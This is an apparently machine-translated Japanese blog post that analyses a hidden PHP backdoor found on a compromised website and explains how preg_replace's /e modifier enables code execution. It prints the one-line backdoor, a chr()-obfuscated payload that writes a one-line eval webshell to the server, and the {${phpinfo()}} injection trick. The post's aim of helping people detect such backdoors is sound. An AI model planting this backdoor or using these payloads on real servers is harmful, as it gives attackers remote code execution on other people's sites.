状況は次のとおりです。友人の Web サイトでさまざまなバックドア検索ツールを使用しましたが、PHP トロイの木馬は見つかりませんでした。シャオヘイの手口は非常に高度で、使用後は必ずバックドアを削除しますが、毎回侵入することはできますが、どこから入ったかがわかりません。これは本当に痛いです。
その後、分析を通じて、最終的にログからいくつかの手がかりを見つけました。IP が常に特定のファイルに奇妙なデータを投稿していることがわかりました。その後、しばらくして、この IP は非常に目立つ名前を持つ不可解なファイルにアクセスしました。これは明らかに通常のシステム ファイルではなく、PHP バックドアでした。しかし、バックドアは使用後すぐに削除されました。
ははは、シャオヘイは会うととても気を配ってくれます。
その後、分析により、Xiaohei がアクセスしたファイル検出コードが判明しました:
@preg_replace("//e",$_POST['IN_COMSENZ'],"Access Denied");
?
このコードが見えても問題ありませんが、これは Xiaohei によって隠された悪意のあるコードおよびバックドアです。隠されているため、基本的にはどのウイルス対策ソフトウェアでも検出できません。
preg_replace 関数プロトタイプ:
mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
?
特別な指示:
/e 修飾子により、preg_replace() は置換引数を PHP コードとして処理します (適切な後方参照が置換された後)。ヒント: 置換によって有効な PHP コード文字列が形成されていることを確認してください。そうでない場合、PHP は preg_replace() を含む行で構文解析エラーを報告します。
上記のコードは POST がデータを受け取るためのものであり、データを取得するために GET に置き換えるとテストが必要になります。 。 。
例:
echo preg_replace("/test/e",$_GET["h"],"jutst test");
?
?h=phpinfo() を送信すると、phpinfo() が実行されます (/e 修飾子を使用すると、preg_replace が置換パラメーターを PHP コードとして実行します)。
POST したい場合、次のコードをテスト送信するとどうなりますか?
?h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr (110).chr(40).chr(39).chr(100).chr(97).chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr (112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr (104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr (83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))
?
暗号文に対応する平文は次のとおりです:
fputs(fopen(data/a.php,w),);
実行結果は、/data/ ディレクトリに 1 文のトロイの木馬ファイル a.php を生成します。
これは恐ろしいですね。 。 。 。
もう 1 つの難しい例:
?
コードの印刷を表示しますか?
<? function test($str){ } echo preg_replace("/s*[php](.+?)[/php]s*/ies", 'test("1")', $_GET["h"]); ?>
?
?h=[php]phpinfo()[/php] を送信すると、phpinfo() が実行されますか?
絶対に違います。通常のマッチングの後、置換パラメータは「test("phpinfo")」になり、現時点では phpinfo は文字列パラメータとしてのみ使用されるためです。
それを実行する方法はありますか?
もちろんです。ここで ?h=[php]{${phpinfo()}}[/php] を送信すると phpinfo() が実行されます。なぜ?
PHP では、二重引用符で囲まれた変数がある場合、PHP インタープリターはそれを変数解釈の結果に置き換えます。一重引用符で囲まれた変数は処理されません。
注: 二重引用符で囲まれた関数は実行されず、置換されません。
ここでは、関数を実行する効果を得るために、{${}} 'test("{${phpinfo()}}")' を通じて特別な変数を構築する必要があります (${phpinfo() }解釈されて実行されます)。
最初に次のテストを実行できます:
echo "{${phpinfo()}}"; phpinfo は正常に実行されます。
したがって、バックドアを探すときは注意してください。
OK、ここまで述べて理解したので、上に示したコードは次のとおりです。
@preg_replace("//e",$_POST['IN_COMSENZ'],"Access Denied");
?
一見普通のコードのように見えますが、実は非常に危険なコードであり、非常に隠されています